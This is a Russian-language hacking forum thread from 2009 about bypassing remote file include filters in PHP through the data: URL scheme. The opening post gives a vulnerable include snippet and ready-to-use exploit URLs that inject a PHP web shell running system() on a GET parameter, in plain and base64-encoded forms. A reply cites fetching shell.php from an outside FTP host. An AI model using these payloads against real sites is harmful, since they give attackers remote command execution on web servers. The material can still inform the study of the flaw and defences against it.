HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Self-contained File Include в PHP
  #1  
Старый 18.02.2009, 11:56
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
С нами: 9296966

Репутация: 585
Lightbulb Self-contained File Include в PHP

Начиная с версии 5.2.0, PHP поддерживает "data" URL scheme (http://ru.php.net/manual/ru/wrappers.data.php), что иногда можно использовать для обхода некоторой фильтрации при RFI.

Например, мы имеем код:
Код:
<?

// Фильтруется возможность перехода в другие дириктории
// и возможность вписать URL:

$dir = str_replace('/', '', $dir);
$dir = str_replace('.', '', $dir); 

if (include($dir . '/lala/file.php'))
{
	echo 'Heck!';
}
else 
{ 
	echo 'Error!'; 
} 

?>
Для эксплуатации требуется:
Код:
PHP Version => 5.2.0
allow_url_include = On
Эксплоит:
Код:
http://site.ru/index2.php?dir=data:,<?php system($_GET[c]); ?>?&c=dir
Код шелла можно кодировать в Base64, подобрав его таким образом, чтобы в результате он не содержал символов '/', '+'.

<?php system($_GET[c]); ?>
кодируется в
PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=

Эксплоит:
Код:
http://site.ru/index2.php?dir=data:;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir
[*] Не нужно заливать файл на сторонний сервер как при обычном RFI.
[+] Можно обойти фильтрацию некоторых символов.
[-] Не обходит file_exist().

Последний раз редактировалось cr0w; 18.02.2009 в 12:27..
 
Ответить с цитированием

  #2  
Старый 18.02.2009, 15:28
brain[pillow]
Участник форума
Регистрация: 07.11.2008
Сообщений: 124
С нами: 9214741

Репутация: 386
По умолчанию

Просто отлично! Минус "Не обходит file_exist()" при этой версии PHP устраняется путём уже известного трюка "ftp://greatxek:bugogo@zlo.com/shell.php"
 
Ответить с цитированием

  #3  
Старый 19.02.2009, 21:24
S1ash
Новичок
Регистрация: 19.11.2007
Сообщений: 23
С нами: 9724283

Репутация: 0
По умолчанию

Цитата:
Сообщение от brain[pillow]  
Просто отлично! Минус "Не обходит file_exist()" при этой версии PHP устраняется путём уже известного трюка "ftp://greatxek:bugogo@zlo.com/shell.php"
эт что за трюк такой?
 
Ответить с цитированием

  #4  
Старый 19.02.2009, 21:28
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
С нами: 10692266

Репутация: 3486


По умолчанию

Цитата:
Сообщение от S1ash  
эт что за трюк такой?
https://forum.antichat.ru/showthread.php?p=1037023#post1037023
=\
__________________
..
 
Ответить с цитированием

  #5  
Старый 19.02.2009, 23:01
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
С нами: 9296966

Репутация: 585
Smile

Цитата:
Сообщение от brain[pillow]  
Минус "Не обходит file_exist()" при этой версии PHP устраняется путём уже известного трюка "ftp://greatxek:bugogo@zlo.com/shell.php"
Собственно, с этим способом и сравнивалось. В трюке с фтп ведь отсутствует тот "+", что есть в предложенном способе. (:
 
Ответить с цитированием

  #6  
Старый 19.02.2009, 03:03
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами: 9642449

Репутация: 606


По умолчанию

Что то я не понял в чем прикол...

<?php system($_GET[c]); ?>

выполниться чтоли в таком случае? Почему так?

работает только при инклюде? при простых file(), file_get_contents() и readfile() не имеет смысла?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP 186 21.02.2010 02:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.